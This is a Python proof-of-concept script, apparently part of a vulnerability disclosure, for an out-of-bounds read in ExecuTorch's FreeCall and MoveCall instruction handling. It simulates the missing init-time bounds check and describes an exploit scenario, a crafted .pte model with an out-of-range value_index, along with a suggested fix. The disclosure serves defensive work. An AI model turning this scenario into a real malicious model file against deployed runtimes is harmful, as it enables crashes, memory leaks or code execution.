#!/usr/bin/env python3 """ ExecuTorch FreeCall value_index Out-of-Bounds Access (CWE-129 -> CWE-125) ========================================================================= Target: ExecuTorch (pytorch/executorch) Commit: 90e6e4ca4ef369ce4288ffcd2a0210d5137117dd Affected File: - runtime/executor/method.cpp:1478 https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/method.cpp#L1478 Init-time validation gap: - runtime/executor/method.cpp:1029-1034 (JumpFalseCall validated, FreeCall skipped) https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/method.cpp#L1029-L1034 CWE-129: Improper Validation of Array Index CWE-125: Out-of-bounds Read Description: In ExecuTorch's instruction execution loop, the FreeCall instruction handler at method.cpp:1478 accesses `values_[free_call->value_index()]` without any bounds check against the values_ array size. During init (method.cpp:1018-1060), the instruction validation switch statement has explicit bounds checking for JumpFalseCall's value_index (lines 1029-1034) but the default:{} case allows FreeCall and MoveCall instructions through WITHOUT validating their value_index fields. A malicious .pte model can set free_call->value_index() to any uint32 value, including values far beyond the values_ array bounds, causing an OOB read when the instruction is executed. Impact: Out-of-bounds read on the values_ array. The accessed memory is then interpreted as an EValue and .toTensor() is called on it, which can: 1. Read sensitive data from adjacent memory 2. Cause a crash via invalid memory access 3. Potentially achieve code execution if the OOB memory is interpreted as a Tensor with attacker-controlled data pointer """ import struct import sys def simulate_init_validation(instructions: list, num_values: int) -> list: """ Simulates the init-time instruction validation in method.cpp:1018-1060. The switch statement validates: - KernelCall: checks op_index bounds - DelegateCall: checks delegate_index bounds - JumpFalseCall: checks value_index bounds (line 1029-1034) - default: {} — NO VALIDATION for FreeCall, MoveCall Returns list of (instruction, validated: bool, passed: bool) tuples. """ results = [] for instr_type, fields in instructions: if instr_type == "KernelCall": # Validated: checks op_index validated = True passed = fields.get("op_index", 0) < fields.get("num_ops", 0) results.append((instr_type, fields, validated, passed)) elif instr_type == "DelegateCall": # Validated: checks delegate_index validated = True passed = fields.get("delegate_index", 0) < fields.get("num_delegates", 0) results.append((instr_type, fields, validated, passed)) elif instr_type == "JumpFalseCall": # Validated: checks value_index (line 1029-1034) validated = True value_idx = fields.get("value_index", 0) passed = value_idx < num_values results.append((instr_type, fields, validated, passed)) elif instr_type == "FreeCall": # default:{} — NO VALIDATION validated = False passed = True # Always passes init — no check performed results.append((instr_type, fields, validated, passed)) elif instr_type == "MoveCall": # default:{} — NO VALIDATION validated = False passed = True # Always passes init — no check performed results.append((instr_type, fields, validated, passed)) else: validated = False passed = True results.append((instr_type, fields, validated, passed)) return results def simulate_execution(instructions: list, num_values: int) -> list: """ Simulates the execution-time behavior at method.cpp:1478. For FreeCall: auto* free_call = instruction->instr_args_as_FreeCall(); auto t = values_[free_call->value_index()].toTensor(); internal::reset_data_ptr(t); No bounds check on value_index before array access. """ results = [] for instr_type, fields in instructions: if instr_type == "FreeCall": value_idx = fields.get("value_index", 0) in_bounds = value_idx < num_values if not in_bounds: oob_offset = (value_idx - num_values) * 48 # EValue is ~48 bytes results.append({ "instruction": instr_type, "value_index": value_idx, "num_values": num_values, "in_bounds": False, "oob_bytes_past_array": oob_offset, "action": f"OOB READ at values_[{value_idx}], " f"{oob_offset} bytes past array end, " f"then .toTensor() called on garbage memory" }) else: results.append({ "instruction": instr_type, "value_index": value_idx, "num_values": num_values, "in_bounds": True, "action": f"Normal access at values_[{value_idx}]" }) elif instr_type == "MoveCall": # MoveCall has same issue with move_from and move_to indices move_from = fields.get("move_from", 0) move_to = fields.get("move_to", 0) from_ok = move_from < num_values to_ok = move_to < num_values results.append({ "instruction": instr_type, "move_from": move_from, "move_to": move_to, "num_values": num_values, "in_bounds": from_ok and to_ok, "action": f"{'OOB' if not (from_ok and to_ok) else 'Normal'} " f"move values_[{move_from}] -> values_[{move_to}]" }) return results def main(): print("=" * 78) print("ExecuTorch FreeCall value_index OOB Access PoC") print("CWE-129 (Improper Array Index Validation) -> CWE-125 (OOB Read)") print("=" * 78) print() NUM_VALUES = 32 # Typical small model values_ array size # ------------------------------------------------------------------------- # Show the init-time validation gap # ------------------------------------------------------------------------- print("-" * 78) print("PHASE 1: Init-Time Validation (method.cpp:1018-1060)") print("-" * 78) print() print(" The init switch statement validates indices for some instructions") print(" but the default:{} case skips FreeCall and MoveCall entirely.") print() print(" Relevant code (method.cpp:1018-1060):") print() print(" for (size_t i = 0; i < n_instructions; i++) {") print(" auto instruction = instructions->GetAs(i);") print(" switch (instruction->instr_args_type()) {") print(" case InstructionArguments::KernelCall: { /* validates op_index */ }") print(" case InstructionArguments::DelegateCall: { /* validates delegate_index */ }") print(" case InstructionArguments::JumpFalseCall: {") print(" // Lines 1029-1034: VALIDATES value_index") print(" auto jf = instruction->instr_args_as_JumpFalseCall();") print(" ET_CHECK_OR_RETURN_ERROR(") print(" jf->value_index() < n_value_, // <-- BOUNDS CHECK") print(" ...);") print(" }") print(' default: {} // <-- FreeCall and MoveCall fall through HERE') print(" }") print(" }") print() instructions = [ ("JumpFalseCall", {"value_index": 0x7FFFFFFF}), # Will be caught ("FreeCall", {"value_index": 0x7FFFFFFF}), # Will NOT be caught ("FreeCall", {"value_index": 1000}), # Will NOT be caught ("MoveCall", {"move_from": 0xFFFF, "move_to": 0}), # Will NOT be caught ("JumpFalseCall", {"value_index": 5}), # Legitimate, passes ("FreeCall", {"value_index": 5}), # Legitimate, passes ] init_results = simulate_init_validation(instructions, NUM_VALUES) print(f" Simulating init with num_values = {NUM_VALUES}:") print() for instr_type, fields, validated, passed in init_results: if instr_type == "FreeCall": idx = fields["value_index"] tag = "VALIDATED" if validated else "SKIPPED (default:{})" result = "PASS" if passed else "REJECTED" oob = " [OOB!]" if idx >= NUM_VALUES else "" print(f" {instr_type:20s} value_index={idx:<12d} init_check={tag:30s} result={result}{oob}") elif instr_type == "MoveCall": mf = fields["move_from"] mt = fields["move_to"] tag = "VALIDATED" if validated else "SKIPPED (default:{})" result = "PASS" if passed else "REJECTED" oob = " [OOB!]" if mf >= NUM_VALUES or mt >= NUM_VALUES else "" print(f" {instr_type:20s} move_from={mf:<6d} move_to={mt:<6d} init_check={tag:30s} result={result}{oob}") elif instr_type == "JumpFalseCall": idx = fields["value_index"] tag = "VALIDATED" if validated else "SKIPPED" result = "PASS" if passed else "REJECTED" oob = " [OOB but caught!]" if idx >= NUM_VALUES and not passed else "" print(f" {instr_type:20s} value_index={idx:<12d} init_check={tag:30s} result={result}{oob}") print() # ------------------------------------------------------------------------- # Show the execution-time OOB access # ------------------------------------------------------------------------- print("-" * 78) print("PHASE 2: Execution-Time Access (method.cpp:1478)") print("-" * 78) print() print(" Vulnerable code (method.cpp:1478):") print() print(" case InstructionArguments::FreeCall: {") print(" auto* free_call = instruction->instr_args_as_FreeCall();") print(" // NO BOUNDS CHECK on value_index!") print(" auto t = values_[free_call->value_index()].toTensor();") print(" internal::reset_data_ptr(t);") print(" break;") print(" }") print() # Only FreeCall and MoveCall instructions that passed init exec_instructions = [ (itype, fields) for itype, fields, validated, passed in init_results if passed and itype in ("FreeCall", "MoveCall") ] exec_results = simulate_execution(exec_instructions, NUM_VALUES) print(f" Simulating execution (only instructions that passed init):") print() for result in exec_results: if result["instruction"] == "FreeCall": status = "IN-BOUNDS" if result["in_bounds"] else ">>> OOB ACCESS <<<" print(f" FreeCall value_index={result['value_index']}") print(f" Status: {status}") print(f" Action: {result['action']}") if not result["in_bounds"]: print(f" OOB distance: {result['oob_bytes_past_array']} bytes past values_ array") print() elif result["instruction"] == "MoveCall": status = "IN-BOUNDS" if result["in_bounds"] else ">>> OOB ACCESS <<<" print(f" MoveCall move_from={result['move_from']} move_to={result['move_to']}") print(f" Status: {status}") print(f" Action: {result['action']}") print() # ------------------------------------------------------------------------- # Concrete exploit scenario # ------------------------------------------------------------------------- print("-" * 78) print("EXPLOIT SCENARIO: Crafted .pte Model") print("-" * 78) print() print(" A malicious .pte file contains a FreeCall instruction with:") print(f" value_index = 0x7FFFFFFF (2147483647)") print() print(f" The model has {NUM_VALUES} values in the values_ array.") print() print(" 1. Init phase: FreeCall falls into default:{{}}, no validation") print(" 2. Execution: values_[2147483647].toTensor() is called") print() # Calculate memory impact evalue_size = 48 # sizeof(EValue) is approximately 48 bytes oob_index = 0x7FFFFFFF oob_bytes = (oob_index - NUM_VALUES) * evalue_size print(f" Memory layout:") print(f" values_ array: {NUM_VALUES} entries x {evalue_size} bytes = {NUM_VALUES * evalue_size} bytes") print(f" OOB access at index {oob_index}:") print(f" Offset from array start: {oob_index} x {evalue_size} = {oob_index * evalue_size:,} bytes (~{oob_index * evalue_size / (1024**3):.1f} GB)") print(f" Bytes past array end: {oob_bytes:,} bytes (~{oob_bytes / (1024**3):.1f} GB)") print() print(" The accessed memory is then interpreted as an EValue struct,") print(" and .toTensor() is called on it. If the OOB memory happens to") print(" contain a valid-looking EValue with Tag::Tensor, the code will") print(" dereference a Tensor object with potentially attacker-controlled") print(" data_ptr, leading to arbitrary memory read/write.") print() # ------------------------------------------------------------------------- # Summary # ------------------------------------------------------------------------- print("=" * 78) print("SUMMARY") print("=" * 78) print() print(" Vulnerability: FreeCall and MoveCall instructions skip init-time") print(" bounds validation due to falling into the default:{} case of the") print(" instruction validation switch (method.cpp:1018-1060).") print() print(" At execution time (method.cpp:1478), values_[value_index] is") print(" accessed without any bounds check, leading to OOB read.") print() print(" Fix: Add explicit bounds checking for FreeCall.value_index and") print(" MoveCall.move_from/move_to in the init validation switch,") print(" similar to the existing JumpFalseCall validation at line 1029.") print() print(" Attack vector: Malicious .pte model file with crafted FlatBuffer") print(" containing FreeCall instructions with out-of-bounds value_index.") return 1 if __name__ == "__main__": sys.exit(main())